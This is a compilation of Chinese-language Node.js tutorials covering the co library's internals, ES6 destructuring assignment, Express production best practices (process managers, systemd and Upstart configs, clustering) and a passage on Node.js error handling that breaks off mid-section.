  if (isObject(obj)) return objectToPromise.call(this, obj);
  return obj;
}



5个if其实就是一堆的判断并执行响应转换咯（废话。。），看来已经解决了问题3，问题2的精髓自然就是arrayToPromise和objectToPromise，好，我们来攻克这最后一道壁垒：


先是arrayToPromise：


js/**
 * 利用ES6规范中的Promise.all方法，充当全部结果的返回者
 * 利用Array.map方法，实现了并行操作，分别对数组中的每一个元素递归执行toPromise方法，把这些子Promise接着
 * 返回co中来获取执行结果，最后等待这些子Promise全部得到结果后，Promise.all执行成功，
 * 返回执行结果数组
 * 这实现，请收下我的膝盖。。。
 */
function arrayToPromise(obj) {
  return Promise.all(obj.map(toPromise, this));
}



接着是objectToPromise：


js/**
 * 与数组略有不同，利用for循环来实现并行的异步调用，
 * Promise.all()仅充当一个类计数器，并返回最终结果
 */
function objectToPromise(obj){
  //results是将用于返回的对象，使用和obj相同的构造函数
  var results = new obj.constructor();
  //Object.keys方法用于返回对象的所有的属性名
  var keys = Object.keys(obj);
  //寄存所有对象属性的Promise的数组
  var promises = [];

  //利用for循环来实现异步
  for (var i = 0; i < keys.length; i++) {
    var key = keys[i];
    //确保obj[key]为Promise对象，然后调用defer推入promises数组等待执行，否则直接将结果返回给result[key]
    var promise = toPromise.call(this, obj[key]);
    if (promise && isPromise(promise)) defer(promise, key);
    else results[key] = obj[key];
  }

  //传入的是promise.then()返回的空Promise，所以此处Promise.all仅充当一个计数器，确保所有异步操作的resolve操作中对results对象的属性都赋值完毕后，返回最终的results对象
  return Promise.all(promises).then(function () {
    return results;
  });

  //执行异步操作，并在操作结果赋值给results[key]
  function defer(promise, key) {
    results[key] = undefined;
    promises.push(promise.then(function (res) {
      results[key] = res;
    }));
  }
}



好了，到这我们已经把co（4.X）的核心源码实现都搞定，它的庐山真面目就是这样啦~


如有任何不正确之处，欢迎指出^ ^


参考



	co




 [译]JavaScript ES6解构赋值指南

作者：菜菜蔡伟

来源： [译]JavaScript ES6解构赋值指南



                    
前言


让我们来仔细地看看ES6所带来的更清晰的变量声明与赋值语法。现今的变量声明语法十分的直接：左边是一个变量名，右边可以是一个数组：[]的表达式或一个对象：{}的表达式，等等。解构赋值允许我们将右边的表达式看起来也像变量声明一般，然后在左边将值一一提取。听起来有点迷糊？让我们一起看看下面的例子就好。


数组的解构赋值


现在假设我们有一个value变量，其值为[1, 2, 3, 4, 5]。然后我们想给数组的前三个元素分别声明一个变量。传统的做法是单独声明和赋值每一个变量：


jsvar value = [1, 2, 3, 4, 5];
var el1 = value[0];
var el2 = value[1];
var el3 = value[0];



有了这几个新变量，我们原本的value现在可以被表示为[el1, el2, el3, 4, 5]，因为我们现在并不关心后两个元素，所以也可以说被表示为[el1, el2, el3]。那么现在，ES6允许我们在左边使用这个表达式来达到和上一个代码块一样的效果：


jsvar value = [1, 2, 3, 4, 5];
var [el1, el2, el3] = value;



右边不必一定是变量名：


jsvar [el1, el2, el3] = [1, 2, 3, 4, 5];



左边也不必一定是声明：


jsvar el1, el2, el3;
[el1, el2, el3] = [1, 2, 3, 4, 5];



这使我们通过仅仅使用两个变量名，就可以交换两个变量的值，这是从前的JavaScript不可能办到的事情：


js[el1, el2] = [el2, el1];



解构赋值也是可嵌套的：


jsvar value = [1, 2, [3, 4, 5]];
var [el1, el2, [el3, el4]] = value;



ES6中，返回一个数组的函数更像一个头等公民了：


jsfunction tuple() {
  return [1, 2];
}

var [first, second] = tuple();



同样可以通过简单地在指定位置省略变量来忽略数组中的某个元素：


jsvar value = [1, 2, 3, 4, 5];
var [el1, , el3, , el5] = value;



这使得从正则表达式里取出匹配的分组的过程十分得简洁：


jsvar [, firstName, lastName] = "John Doe".match(/^(w+) (w+)$/);



更进一步，默认值同样也可以被指定：


jsvar [firstName = "John", lastName = "Doe"] = [];



需要注意的是默认值只会在对undefined值起作用，下面的例子中firstName和lastName都将是null：


jsvar [firstName = "John", lastName = "Doe"] = [null, null];



rest参数（...变量名）让事情变得更有趣，它使你可以得到数组中“剩余“的元素。下面这个例子中，tail变量将接收数组中”剩余“的元素，为[4, 5]：


jsvar value = [1, 2, 3, 4, 5];
var [el1, el2, el3, ...tail] = value;



不幸的是，ES6中rest参数的实现非常原始，rest参数之后不能再有其他参数（即只能是最后一个参数）。所以下面例子中的这些非常有用模式，在ES6中是不可能的（会报错）：


jsvar value = [1, 2, 3, 4, 5];
var [...rest, lastElement] = value;
var [firstElement, ...rest, lastElement] = value;



对象的解构赋值


现在，你已经对数组的解构赋值有了清晰的认识，让我们来看看对象的解构赋值。它们几乎以同样的方式工作，仅仅是从数组变成了对象：


jsvar person = {firstName: "John", lastName: "Doe"};
var {firstName, lastName} = person;



ES6允许变量名与对应的属性名不一致。下面的例子中，name变量将会被声明为person.firstName的值：


jsvar person = {firstName: "John", lastName: "Doe"};
var {firstName: name, lastName} = person;



深层嵌套的对象也不会有问题：


jsvar person = {name: {firstName: "John", lastName: "Doe"}};
var {name: {firstName, lastName}} = person;



你还可以嵌套些数组在里面：


jsvar person = {dateOfBirth: [1, 1, 1980]};
var {dateOfBirth: [day, month, year]} = person;



或者一些其他的：


jsvar person = [{dateOfBirth: [1, 1, 1980]}];
var [{dateOfBirth}] = person;



和数组解构赋值一样，对象解构赋值也可以使用默认值：


jsvar {firstName = "John", lastName: userLastName = "Doe"} = {};



默认值同样也只会在对undefined值起作用，下面的例子中firstName和lastName也都将是null：


jsvar {firstName = "John", lastName = "Doe"} = {firstName: null, lastName: null};



函数参数的解构赋值


ES6中，函数的参数也支持解构赋值。这对于有复杂配置参数的函数十分有用。你可以结合使用数组和对象的解构赋值。


jsfunction findUser(userId, options) {
  if (options.includeProfile) ...
  if (options.includeHistory) ...
}



通过ES6，这会看上去更清晰简洁：


jsfunction findUser(userId, {includeProfile, includeHistory}) {
  if (includeProfile) ...
  if (includeHistory) ...
}



最后


ES6的解构赋值给JavaScript的语法带来了更多的现代化。它在减少了代码量的同时，增加了代码的可读性和表现力。


原文地址


https://strongloop.com/strongblog/getting-started-with-javascript-es6-...
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前言

这将是一个分为两部分，内容是关于在生产环境下，跑Express应用的最佳实践。第一部分会关注安全性，第二部分则会关注性能和可靠性。当你读这篇文章时，会假设你已经对Node.js和web开发有所了解，并且对生产环境有了概念。

关于第一部分，请参阅Express在生产环境下的最佳实践 - 安全性。

概览

正如第一部分所说，生产环境是供你的最终用户们所使用的，而开发环境则是供你开发和测试代码所用。故对于和两个环境的要求，是非常不同的。例如，在开发环境下，你不必考虑伸缩性和可靠性还有性能的问题，但这些在生产环境下都非常重要。

接下来，我们会将此文分为两大部分：


	需要对代码做的事，即开发部分。


	需要对环境做的事，即运维部分，




需要对代码做的事

为了提升你应用的性能，你可以通过：


	使用gzip压缩


	禁止使用同步方法


	使用中间件来提供静态文件


	适当地打印日志


	合理地处理异常




使用gzip压缩

Gzip压缩可以显著地减少你web应用的响应体大小，从而提升你的web应用的响应速度。在Express中，你可以使用compression中间件来启用gzip：

var compression = require('compression');
var express = require('express');
var app = express();
app.use(compression());

对于在生产环境中，流量十分大的网站，最好是在反向代理层处理压缩。如果这样做，那么就不就需要使用compression了，而是需要参阅Nginx的ngx_http_gzip_module模块的文档。

禁止使用同步方法

同步方法会在它返回之前都一直阻塞线程。一次单独的调用可能影响不大，但在流量非常巨大的生产环境中，它是不可接受的，可能会导致严重的性能问题。

虽然大多数的Node.js和其第三方库都同时提供了一个方法的同步和异步版本，但在生产环境下，请总是使用它的异步版本。唯一可能例外的场景可能是，如果这个方法只在应用初始化时调用一次，那么使用它的同步版本也是可以接受的。

如果你使用的是Node.js 4.0+ 或 io.js 2.1.0+ ，你可以在启动应用时附上--trace-sync-io参数来检查你的应用中哪里使用了同步API。更多关于这个参数的信息，你可以参阅io.js 2.1.0的更新日志。

使用中间件来提供静态文件

在开发环境下，你可以使用res.sendFile()来提供静态文件。但在生产环境下，这是不被允许的，因为这个方法会在每次请求时都会对文件系统进行读取。res.sendFile()并不是通过系统方法sendfile实现的。

对应的，你可以使用serve-static中间件来为你的Express应用提供静态文件。

更好的选择则是在反向代理层上提供静态文件。

适当地打印日志

总得来说，为你的应用打印日志的目的有两个：调试和操作记录。在开发环境下，我们通常使用console.log()或console.err()来做这些事。但是，当这些方法的输出目标是终端或文件时，它们是同步的，所以它们并不适用于生产环境，除非你将输出导流至另一个程序中。

为了调试

如果你正在为了调试而打印日志。那么你可以使用一些专用于调试的库如debug，用于代替console.log()。这个库可以通过设置DEBUG环境变量来控制具体哪些信息会被打印。虽然这些方法也是同步的，但你一定不会在生产环境下进行调试吧？

为了操作记录

如果你正在为了记录应用的活动而打印日志。那么你可以使用一些日志库如winston或Bunyan，来替代console.log()。更多关于这两个库的详情，可以参阅这里。

合理地处理异常

Node.js在遇到未处理的异常时就会退出。如果没有合理地捕获并处理异常，这会使你的应用崩溃和离线。如果你使用了一个自动重启的工具，那么你的应用则会在崩溃后立刻重启，而且幸运的是，Express应用的重启时间通常都很快。但是不管怎样，你都想要尽量避免这种崩溃。

为了保证你合理处理异常，请遵从以下指示：


	使用try-catch


	使用promise




不应该做的事

你不应该监听全局事件uncaughtException。监听该事件将会导致进程遇到未处理异常时的行为被改变：进程将会忽略此异常并继续运行。这听上去很好，但是如果你的应用中存在未处理异常，继续运行它是非常危险的，因为应用的状态开始变得不可预测。

所以，监听uncaughtException并不是一个好主意，它已被官方地列为了不推荐的做法，并且以后可能会移除这个接口。我们更推荐的是，使用多进程和自动重启。

我们同样不推荐使用domains。它通常也并不能解决问题，并且已是一个被标识为弃用的模块。

使用try-catch


Try-catch是一个JavaScript语言自带的捕获同步代码的结构。使用try-catch，你可以捕获例如JSON解析错误这样的异常。

使用JSHint或JSLint这样的工具则可以让你远离引用错误或未定义变量这种隐式的异常。

一个使用try-catch来避免进程退出的例子：

// Accepts a JSON in the query field named "params"
// for specifying the parameters
app.get('/search', function (req, res) {
  // Simulating async operation
  setImmediate(function () {
    var jsonStr = req.query.params;
    try {
      var jsonObj = JSON.parse(jsonStr);
      res.send('Success');
    } catch (e) {
      res.status(400).send('Invalid JSON string');
    }
  })
});

但是，try-catch只能捕获同步代码的异常。但是Node.js世界主要是异步的，所以，对于大多数的异常它都无能为力。

使用promise


Promise可以通过then()处理异步代码里的一切异常（显式和隐式）。记得在promise链的最后加上.catch(next)。例子：

app.get('/', function (req, res, next) {
  // do some sync stuff
  queryDb()
    .then(function (data) {
      // handle data
      return makeCsv(data)
    })
    .then(function (csv) {
      // handle csv
    })
    .catch(next)
})
 
app.use(function (err, req, res, next) {
  // handle error
})

现在所有的同步代码和异步代码的异常都传递到了异常处理中间件中。

但是，仍有两点需要提醒：

所有你的异步代码都必须返回一个promise（除了emitter）。如果你正在使用的库没有返回一个promise，那么就使用一些工具方法（如Bluebird.promisifyAll()）来转换它。Event emitter（如stream）仍会造成未处理的异常。所以你必须合理地监听它们的error事件。例子：

app.get('/', wrap(async (req, res, next) =&gt;; {
  let company = await getCompanyById(req.query.id)
  let stream = getLogoStreamById(company.id)
  stream.on('error', next).pipe(res)
}))

更多关于使用promise处理异常的信息，请参阅这里。

需要对环境做的事

以下是一些你可以对你的系统环境做的事，用于提升你应用的性能：


	将NODE_ENV设置为“production”


	保证你的应用在发生错误后自动重启


	使用集群模式运行你的应用


	缓存请求结果


	使用负载均衡


	使用反向代理




将NODE_ENV设置为“production”


NODE_ENV环境变量指明了应用当前的运行环境（开发或生产）。你可以做的为你的Express提升性能的最简单的事情之一，就是将NODE_ENV设置为“production”。

将NODE_ENV设置为“production”将使Express：


	缓存视图模板


	缓存CSS文件


	生成更简洁的错误信息




如果你想写环境相关的代码，你可以通过process.env.NODE_ENV来获取运行时NODE_ENV的值。不过需要注意的，检查环境变量的值会造成少许的性能损失，所以不要有太多这类操作。

你可能已经习惯了SHELL中设置环境变量，例如使用export或.bash_profile文件。但是你不应该在你的生产服务器上这么做。你应该使用操作系统的初始化系统（systemd或systemd）。下一个章节将会更详细的讲述初始化系统，但是由于设置NODE_ENV是如此的重要以及简单，所以我们在这里就列出它：

当使用Upstart时，请在任务文件中使用env关键字。例子：

# /etc/init/env.conf
 env NODE_ENV=production

更多信息，请参阅这里。

当使用systemd时，请在你的单元文件中使用Environment指令。例子：

# /etc/systemd/system/myservice.service
Environment=NODE_ENV=production

更多信息，请参阅这里。

如果你正在使用StrongLoop Process Manager，你也可以参阅这篇文章。

保证你的应用在发生错误后自动重启

在生产环境下，你一定不希望你的应用离线。所以你需要保证在你的应用发生错误时或你的服务器自身崩溃时，你的应用可以自动重启。虽然你可能不期望它们的发生，但是我们需要更现实得预防它们，可以通过：


	使用一个进程管理员（process manager）库来重启你的应用


	当你的操作系统崩溃时，使用它提供的初始化系统来重启你的进程管理员。




Node.js应用在遇到未处理异常时就会退出。你的首要任务是保证你的代码的测试健全并且合理地处理了所有的异常。但是如有万一，请准备一个机制来确保它的自动重启。

使用进程管理员（process manager）

在开发环境下，你可以简单地使用node server.js这样的命令来启动你的应用。当时在生产环境下这么做将是不被允许的。如果应用崩溃了，在你手动重启它之前，它都会处于离线状态。为了保证你应用的自动重启，请使用一个进程管理员，它可以帮助你管理正在运行的应用。

除了保证你的应用的自动重启，一个进程管理员还可以使你：


	获取当前运行环境的性能表现和资源消耗情况。


	自动地修改环境设置


	管理集群（StrongLoop PM和pm2）




Node.js世界里比较流行的进程管理员有：


	StrongLoop Process Manager


	PM2


	Forever




更多的它们之间的比较，你可以参阅这里。关于它们三者的简介，你可以参阅这篇文章。

使用一个初始化系统

接下来要保证的就是，在你的服务器重启时，你的应用也会相应的重启。尽管我们认为我们的服务器是十分稳定的，但它们仍有挂掉的可能。所以为了保证在你的服务器时重启时你的应用也会重启，请使用你操作系统内建的初始化系统。如今比较主流的是systemd和Upstart。

以下是通过你的Express应用来使用初始化系统的两种方法：


	将你的应用运行于一个进程管理员中，然后将进程管理员设置为系统的一个服务。这个是比较推荐的做法。


	直接通过初始化系统运行你的应用。这个方法更为简单，但你却享受不到进程管理员带来的福利。




Systemd

Systems是一个linux系统的服务管理员。大多数的linux发行版都将它作为默认的初始化系统。

一个systems服务的配置文件也被称为一个单元文件，有一个.service后缀。以下是一个直接管理Node.js应用的例子：

[Unit]
Description=Awesome Express App
 
[Service]
Type=simple
ExecStart=<strong>/usr/local/bin/node /projects/myapp/index.js</strong>
WorkingDirectory=<strong>/projects/myapp</strong>
 
User=nobody
Group=nogroup
 
# Environment variables:
Environment=<strong>NODE_ENV=production</strong>
 
# Allow many incoming connections
LimitNOFILE=infinity
 
# Allow core dumps for debugging
LimitCORE=infinity
 
StandardInput=null
StandardOutput=syslog
StandardError=syslog
Restart=always
 
[Install]
WantedBy=multi-user.target

更多关于systemd的信息，请参阅这里。

Upstart

Upstart是一个大多数linux发行版都可用的系统工具，用于在系统启动时启动任务和服务，在系统关闭时停止它们，并且监控它们。你可以先将你的Express应用或进程管理员配置为一个服务，然后Upstart会自动地在系统重启后重启它们。

一个Upstart服务被定义在一个任务配置文件中，有一个.conf后缀。下面的例子展示了如何创建一个名为“myapp”的任务，且应用的入口是/projects/myapp/index.js。

在/etc/init/下创建一个名为myapp.conf的文件：

# When to start the process
start on runlevel [2345]
 
# When to stop the process
stop on runlevel [016]
 
# Increase file descriptor limit to be able to handle more requests
limit nofile 50000 50000
 
# Use production mode
env <strong>NODE_ENV=production</strong>
 
# Run as www-data
setuid www-data
setgid www-data
 
# Run from inside the app dir
chdir <strong>/projects/myapp</strong>
 
# The process to start
exec <strong>/usr/local/bin/node /projects/myapp/index.js</strong>
 
# Restart the process if it is down
respawn
 
# Limit restart attempt to 10 times within 10 seconds
respawn limit 10 10

注意：这个脚本要求Upstart 1.4 或更新的版本，支持于Ubuntu 12.04-14.10。

除了自动重启你的应用，Upstart还为你提供了以下命令：


	start myapp – 手动启动应用


	restart myapp – 手动重启应用


	stop myapp – 手动退出应用




更多关于Upstart的信息，请参阅这里。

使用集群模式运行你的应用

在多核的系统里，你可以通过启动一个进程集群来成倍了提升你应用的性能。一个集群运行了你的应用的多个实例，理想情况下，一个CPU核对应一个实例。这样，便可以在多个实例件进行负载均衡。

值得注意的是，由于应用实例跑在不同的进程里，所以它们并不分享同一块内存空间。因为，应用里的所有对象都是本地的，你不可以在应用代码里维护状态。不过，你可以使用如redis这样的内存数据库来存储session这样的数据和状态。

在集群中，一个工作进程的崩溃不会影响到其他的工作进程。所以除了性能因素之外，单独工作进程崩溃的相互不影响也是另一个使用集群的好处。一个工作进程崩溃后，请确保记录下日志，然后重新通过cluster.fork()创建一个新的工作进程。

使用Node.js的cluster模块

Node.js提供了cluster模块来支持集群。它使得一个主进程可以创建出多个工作进程。但是，比起直接使用这个模块，许多的库已经为你封装了它，并提供了更多自动化的功能：如node-pm或cluser-service。

缓存请求结果

另一个提升你应用性能的途径是缓存请求的结果，这样一来，对于同一个请求，你的应用就不必做多余的重复动作。

使用一个如Varnish或Nginx这样的缓存服务器可以极大地提升你应用的响应速度。

使用负载均衡

不论一个应用优化地多么好，一个单独的实例总是有它的负载上限的。一个很好的解决办法就是将你的应用跑上多个实例，然后在它们之前加上一个负载均衡器。

一个负载均衡器通常是一个反向代理，它接受负载，并将其均匀得分配给各个实例或服务器。你可以通过Nginx或HAProxy十分方便地架设一个负载均衡器。

使用了负载均衡后，你可以保证每个请求都根据它的来源被设置了独特session id。当然，你也可以使用如Redis这样的内存数据库来存储session。更多详情，可以参阅这里。

负载均衡是一个相当复杂的话题，更加细致的讨论已超过了本文的范畴。

使用反向代理

一个反向代理被设置与web应用之前，用于支持各类对于请求的操作，如将请求发送给应用，自动处理错误页，压缩，缓存，提供静态文件，负载均衡，等等。

在生产环境中，这里推荐将Express应用跑在Nginx或HAProxy之后。

最后

原文链接：https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/
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NodeJS的错误处理让人痛苦，在很长的一段时间里，大量的错误被放任不管。但是要想建立一个健壮的Node.js程序就必须正确的处理这些错误，而且这并不难学。如果你实在没有耐心，那就直接绕过长篇大论跳到“总结”部分吧。


原文


这篇文章会回答NodeJS初学者的若干问题：



  
	我写的函数里什么时候该抛出异常，什么时候该传给callback,什么时候触发EventEmitter等等。

  	我的函数对参数该做出怎样的假设？我应该检查更加具体的约束么？例如参数是否非空，是否大于零，是不是看起来像个IP地址，等等等。

  	我该如何处理那些不符合预期的参数？我是应该抛出一个异常，还是把错误传递给一个callback。

  	我该怎么在程序里区分不同的异常（比如“请求错误”和“服务不可用”）？

  	我怎么才能提供足够的信息让调用者知晓错误细节。

  	我该怎么处理未预料的出错？我是应该用 try/catch ，domains 还是其它什么方式呢？

  




这篇文章可以划分成互相为基础的几个部分：



  
	
背景：希望你所具备的知识。

  	
操作失败和程序员的失误：介绍两种基本的异常。

  	
编写新函数的实践：关于怎么让函数产生有用报错的基本原则。

  	
编写新函数的具体推荐：编写能产生有用报错的、健壮的函数需要的一个检查列表

  	
例子：以connect函数为例的文档和序言。

  	
总结：全文至此的观点总结。

  	
附录：Error对象属性约定：用标准方式提供一个属性列表，以提供更多信息。

  




背景


本文假设：


你已经熟悉了JavaScript、Java、 Python、 C++ 或者类似的语言中异常的概念，而且你知道抛出异常和捕获异常是什么意思。

你熟悉怎么用NodeJS编写代码。你使用异步操作的时候会很自在，并能用callback(err,result)模式去完成异步操作。你得知道下面的代码不能正确处理异常的原因是什么[脚注1]


function myApiFunc(callback)
{
/*
 * This pattern does NOT work!
 */
try {
  doSomeAsynchronousOperation(function (err) {
    if (err)
      throw (err);
    /* continue as normal */
  });
} catch (ex) {
  callback(ex);
}
}



你还要熟悉三种传递错误的方式: - 作为异常抛出。 - 把错误传给一个callback，这个函数正是为了处理异常和处理异步操作返回结果的。 - 在EventEmitter上触发一个Error事件。


接下来我们会详细讨论这几种方式。这篇文章不假设你知道任何关于domains的知识。


最后，你应该知道在JavaScript里，错误和异常是有区别的。错误是Error的一个实例。错误被创建并且直接传递给另一个函数或者被抛出。如果一个错误被抛出了那么它就变成了一个异常[脚注2]。举个例子：



  throw new Error('something bad happened');




但是使用一个错误而不抛出也是可以的



  callback(new Error('something bad happened'));




这种用法更常见，因为在NodeJS里，大部分的错误都是异步的。实际上，try/catch唯一常用的是在JSON.parse和类似验证用户输入的地方。接下来我们会看到，其实很少要捕获一个异步函数里的异常。这一点和Java，C++，以及其它严重依赖异常的语言很不一样。


操作失败和程序员的失误


把错误分成两大类很有用[脚注3]：



  
	
操作失败是正确编写的程序在运行时产生的错误。它并不是程序的Bug，反而经常是其它问题：系统本身（内存不足或者打开文件数过多），系统配置（没有到达远程主机的路由），网络问题（端口挂起），远程服务（500错误，连接失败）。例子如下：

  	连接不到服务器

  	无法解析主机名

  	无效的用户输入

  	请求超时

  	服务器返回500

  	套接字被挂起

  	系统内存不足

  





  
	
程序员失误是程序里的Bug。这些错误往往可以通过修改代码避免。它们永远都没法被有效的处理。

  	读取 undefined 的一个属性

  	调用异步函数没有指定回调

  	该传对象的时候传了一个字符串

  	该传IP地址的时候传了一个对象

  




人们把操作失败和程序员的失误都称为“错误”，但其实它们很不一样。操作失败是所有正确的程序应该处理的错误情形，只要被妥善处理它们不一定会预示着Bug或是严重的问题。“文件找不到”是一个操作失败，但是它并不一定意味着哪里出错了。它可能只是代表着程序如果想用一个文件得事先创建它。


与之相反，程序员失误是彻彻底底的Bug。这些情形下你会犯错：忘记验证用户输入，敲错了变量名，诸如此类。这样的错误根本就没法被处理，如果可以，那就意味着你用处理错误的代码代替了出错的代码。


这样的区分很重要：操作失败是程序正常操作的一部分。而由程序员的失误则是Bug。


有的时候，你会在一个Root问题里同时遇到操作失败和程序员的失误。HTTP服务器访问了未定义的变量时奔溃了，这是程序员的失误。当前连接着的客户端会在程序崩溃的同时看到一个ECONNRESET错误，在NodeJS里通常会被报成“Socket Hang-up”。对客户端来说，这是一个不相关的操作失败, 那是因为正确的客户端必须处理服务器宕机或者网络中断的情况。


类似的，如果不处理好操作失败, 这本身就是一个失误。举个例子，如果程序想要连接服务器，但是得到一个ECONNREFUSED错误，而这个程序没有监听套接字上的error事件,然后程序崩溃了，这是程序员的失误。连接断开是操作失败（因为这是任何一个正确的程序在系统的网络或者其它模块出问题时都会经历的），如果它不被正确处理，那它就是一个失误。


理解操作失败和程序员失误的不同, 是搞清怎么传递异常和处理异常的基础。明白了这点再继续往下读。


处理操作失败


就像性能和安全问题一样，错误处理并不是可以凭空加到一个没有任何错误处理的程序中的。你没有办法在一个集中的地方处理所有的异常，就像你不能在一个集中的地方解决所有的性能问题。你得考虑任何会导致失败的代码（比如打开文件，连接服务器，Fork子进程等）可能产生的结果。包括为什么出错，错误背后的原因。之后会提及，但是关键在于错误处理的粒度要细，因为哪里出错和为什么出错决定了影响大小和对策。


你可能会发现在栈的某几层不断地处理相同的错误。这是因为底层除了向上层传递错误，上层再向它的上层传递错误以外，底层没有做任何有意义的事情。通常，只有顶层的调用者知道正确的应对是什么，是重试操作，报告给用户还是其它。但是那并不意味着，你应该把所有的错误全都丢给顶层的回调函数。因为，顶层的回调函数不知道发生错误的上下文，不知道哪些操作已经成功执行，哪些操作实际上失败了。


我们来更具体一些。对于一个给定的错误，你可以做这些事情:



  
	直接处理。有的时候该做什么很清楚。如果你在尝试打开日志文件的时候得到了一个ENOENT错误，很有可能你是第一次打开这个文件，你要做的就是首先创建它。更有意思的例子是，你维护着到服务器（比如数据库）的持久连接，然后遇到了一个“socket hang-up”的异常。这通常意味着要么远端要么本地的网络失败了。很多时候这种错误是暂时的，所以大部分情况下你得重新连接来解决问题。（这和接下来的重试不大一样，因为在你得到这个错误的时候不一定有操作正在进行）

  





  
	把出错扩散到客户端。如果你不知道怎么处理这个异常，最简单的方式就是放弃你正在执行的操作，清理所有开始的，然后把错误传递给客户端。（怎么传递异常是另外一回事了，接下来会讨论）。这种方式适合错误短时间内无法解决的情形。比如，用户提交了不正确的JSON，你再解析一次是没什么帮助的。

  





  
	重试操作。对于那些来自网络和远程服务的错误，有的时候重试操作就可以解决问题。比如，远程服务返回了503（服务不可用错误），你可能会在几秒种后重试。如果确定要重试，你应该清晰的用文档记录下将会多次重试，重试多少次直到失败,以及两次重试的间隔。 另外，不要每次都假设需要重试。如果在栈中很深的地方（比如，被一个客户端调用，而那个客户端被另外一个由用户操作的客户端控制），这种情形下快速失败让客户端去重试会更好。如果栈中的每一层都觉得需要重试，用户最终会等待更长的时间，因为每一层都没有意识到下层同时也在尝试。

  





  
	直接崩溃。对于那些本不可能发生的错误，或者由程序员失误导致的错误（比如无法连接到同一程序里的本地套接字），可以记录一个错误日志然后直接崩溃。其它的比如内存不足这种错误，是JavaScript这样的脚本语言无法处理的，崩溃是十分合理的。（即便如此，在child_process.exec这样的分离的操作里，得到ENOMEM错误，或者那些你可以合理处理的错误时，你应该考虑这么做）。在你无计可施需要让管理员做修复的时候，你也可以直接崩溃。如果你用光了所有的文件描述符或者没有访问配置文件的权限，这种情况下你什么都做不了，只能等某个用户登录系统把东西修好。

  





  
	记录错误，其他什么都不做。有的时候你什么都做不了，没有操作可以重试或者放弃，没有任何理由崩溃掉应用程序。举个例子吧，你用DNS跟踪了一组远程服务，结果有一个DNS失败了。除了记录一条日志并且继续使用剩下的服务以外，你什么都做不了。但是，你至少得记录点什么（凡事都有例外。如果这种情况每秒发生几千次，而你又没法处理，那每次发生都记录可能就不值得了，但是要周期性的记录）。

  




（没有办法）处理程序员的失误


对于程序员的失误没有什么好做的。从定义上看，一段本该工作的代码坏掉了（比如变量名敲错），你不能用更多的代码再去修复它。一旦你这样做了，你就使用错误处理的代码代替了出错的代码。


有些人赞成从程序员的失误中恢复，也就是让当前的操作失败，但是继续处理请求。这种做法不推荐。考虑这样的情况：原始代码里有一个失误是没考虑到某种特殊情况。你怎么确定这个问题不会影响其他请求呢？如果其它的请求共享了某个状态（服务器，套接字，数据库连接池等），有极大的可能其他请求会不正常。


典型的例子是REST服务器（比如用Restify搭的），如果有一个请求处理函数抛出了一个ReferenceError（比如，变量名打错）。继续运行下去很有肯能会导致严重的Bug，而且极其难发现。例如：



	一些请求间共享的状态可能会被变成null，undefined或者其它无效值，结果就是下一个请求也失败了。

	数据库（或其它）连接可能会被泄露，降低了能够并行处理的请求数量。最后只剩下几个可用连接会很坏，将导致请求由并行变成串行被处理。

	更糟的是， postgres 连接会被留在打开的请求事务里。这会导致 postgres “持有”表中某一行的旧值，因为它对这个事务可见。这个问题会存在好几周，造成表无限制的增长，后续的请求全都被拖慢了，从几毫秒到几分钟[脚注4]。虽然这个问题和 postgres 紧密相关，但是它很好的说明了程序员一个简单的失误会让应用程序陷入一种非常可怕的状态。

	连接会停留在已认证的状态，并且被后续的连接使用。结果就是在请求里搞错了用户。

	套接字会一直打开着。一般情况下NodeJS 会在一个空闲的套接字上应用两分钟的超时，但这个值可以覆盖，这将会泄露一个文件描述符。如果这种情况不断发生，程序会因为用光了所有的文件描述符而强退。即使不覆盖这个超时时间，客户端会挂两分钟直到 “hang-up” 错误的发生。这两分钟的延迟会让问题难于处理和调试。

	很多内存引用会被遗留。这会导致泄露，进而导致内存耗尽，GC需要的时间增加，最后性能急剧下降。这点非常难调试，而且很需要技巧与导致造成泄露的失误联系起来。



最好的从失误恢复的方法是立刻崩溃。你应该用一个restarter 来启动你的程序，在奔溃的时候自动重启。如果restarter 准备就绪，崩溃是失误来临时最快的恢复可靠服务的方法。


奔溃应用程序唯一的负面影响是相连的客户端临时被扰乱，但是记住：



  
	从定义上看，这些错误属于Bug。我们并不是在讨论正常的系统或是网络错误，而是程序里实际存在的Bug。它们应该在线上很罕见，并且是调试和修复的最高优先级。

  	上面讨论的种种情形里，请求没有必要一定得成功完成。请求可能成功完成，可能让服务器再次崩溃，可能以某种明显的方式不正确的完成，或者以一种很难调试的方式错误的结束了。

  	在一个完备的分布式系统里，客户端必须能够通过重连和重试来处理服务端的错误。不管 NodeJS 应用程序是否被允许崩溃，网络和系统的失败已经是一个事实了。

  	如果你的线上代码如此频繁地崩溃让连接断开变成了问题，那么正真的问题是你的服务器Bug太多了，而不是因为你选择出错就崩溃。

  




如果出现服务器经常崩溃导致客户端频繁掉线的问题，你应该把经历集中在造成服务器崩溃的Bug上，把它们变成可捕获的异常，而不是在代码明显有问题的情况下尽可能地避免崩溃。调试这类问题最好的方法是，把 NodeJS 配置成出现未捕获异常时把内核文件打印出来。在 GNU/Linux 或者 基于 illumos 的系统上使用这些内核文件，你不仅查看应用崩溃时的堆栈记录，还可以看到传递给函数的参数和其它的 JavaScript 对象，甚至是那些在闭包里引用的变量。即使没有配置 code dumps，你也可以用堆栈信息和日志来开始处理问题。


最后，记住程序员在服务器端的失误会造成客户端的操作失败，还有客户端必须处理好服务器端的奔溃和网络中断。这不只是理论，而是实际发生在线上环境里。


编写函数的实践


我们已经讨论了如何处理异常，那么当你在编写新的函数的时候，怎么才能向调用者传递错误呢？


最最重要的一点是为你的函数写好文档，包括它接受的参数（附上类型和其它约束），返回值，可能发生的错误，以及这些错误意味着什么。 如果你不知道会导致什么错误或者不了解错误的含义，那你的应用程序正常工作就是一个巧合。 所以，当你编写新的函数的时候，一定要告诉调用者可能发生哪些错误和错误的含义。


Throw， Callback 还是 EventEmitter

函数有三种基本的传递错误的模式。



  
	
throw以同步的方式传递异常--也就是在函数被调用处的相同的上下文。如果调用者（或者调用者的调用者）用了try/catch，则异常可以捕获。如果所有的调用者都没有用，那么程序通常情况下会崩溃（异常也可能会被domains或者进程级的uncaughtException捕捉到，详见下文）。

  





  
	
Callback是最基础的异步传递事件的一种方式。用户传进来一个函数（callback），之后当某个异步操作完成后调用这个 callback。通常 callback 会以callback(err,result)的形式被调用，这种情况下， err和 result必然有一个是非空的，取决于操作是成功还是失败。

  





  
